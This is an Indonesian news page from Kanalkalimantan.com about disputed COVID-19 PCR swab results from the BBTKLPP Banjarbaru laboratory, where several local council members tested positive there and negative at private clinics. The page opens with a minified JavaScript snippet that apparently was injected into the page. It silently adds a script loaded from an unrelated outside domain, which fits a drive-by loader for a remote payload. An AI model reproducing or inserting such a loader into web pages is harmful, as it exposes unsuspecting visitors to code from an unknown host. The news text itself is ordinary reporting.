(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU– Perbedaan hasil swab PCR Balai Besar Teknik Kesehatan Lingkungan dan Pengendalian Penyakit (BBTKLPP) Banjarbaru, dengan instansi lain, disikapi oleh Kepala Dinas Kesehatan Banjarbaru, Rizana Mirza.
Ia membenarkan selama ini tes Swab PCR mengacu pada hasil di BBTKLPP Banjarbaru sebagaimana instruksi pemerintah provinsi sesuai pembagian wilayahnya. Namun ia juga tak menampik adanya perbedaan hasil tes yang dikeluarkan BBTKLPP.
“Memang kita lihat belakangan ini ada ditemui perbedaan hasil, di tempat pemeriksaan swab PCR yang ditunjuk pemerintah hasilnya positif. Kemudian ketika diperiksa di tempat lain semisal klinik swasta hasilnya negatif. Itu benar terjadi,” akunya.
Hanya saja, Rizana menuturkan tak berani berspekulasi lebih jauh terkait hal tersebut. Ia hanya menduga bahwa ada kemungkinan perbedaan didasarkan pada perbedaan waktu atau interval pemeriksaan.
“Mungkin karena ada jeda waktu. Pemeriksaan pertama hari-hari memang terjangkit, lalu saat beberapa hari setelahnya dilakukan kembali pemeriksaan virusnya sudah tidak, jadi sudah negatif,” ucapnya.
Sebelumnya, hasil tes Swab PCR yang dilakukan Balai Besar Teknik Kesehatan Lingkungan dan Pengendalian Penyakit (BBTKLPP) Banjarbaru, Provinsi Kalimantan Selatan (Kalsel), dipertanyakan anggota DPRD Banjarbaru.
Selama di era pandemi, Swab PCR memang telah dipercaya sebagai alat tes Covid-19 dengan tingkat akurasi tertinggi mendekati 100 persen. Terkhusus di Provinsi Kalsel, Kementerian Kesehatan RI menunjuk BBTKLPP Banjarbaru sebagai tempat rujukan laboratorium pemeriksaan tes Swab PCR bagi setiap Kabupaten Kota.
Namun belakangan ini, hasil uji tes di BBTKLPP Banjarbaru tersebut memunculkan kontroversi. Salah satunya dipicu atas keluarnya hasil tes yang memvonis sejumlah nama anggota Komisi III DPRD Banjarbaru positif terkonfirmasi virus corona.
Informasi yang diterima Kanalkalimantan.com, setidaknya ada lima anggota dewan yang dinyatakan terkonfirmasi virus melalui uji Swab PCR di BBTKLPP Banjarbaru beberapa waktu lalu. Meskipun hingga sampai saat ini Sekretaris DPRD Banjarbaru, Aida Yunani, belum memberikan konfirmasi terkait kabar ini.
Persoalan muncul tatkala para wakil rakyat memutuskan melakukan banding hasil uji tes dengan jalani Swab PCR di tempat lain. Hasilnya, mereka justru dinyatakan negatif terpapar Covid-19. Padahal hasil terbaru itu didapat hanya selang beberapa hari pasca keluarnya hasil tes di BBTKLPP Banjarbaru. (Kanalkalimantan.com/al/kk)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.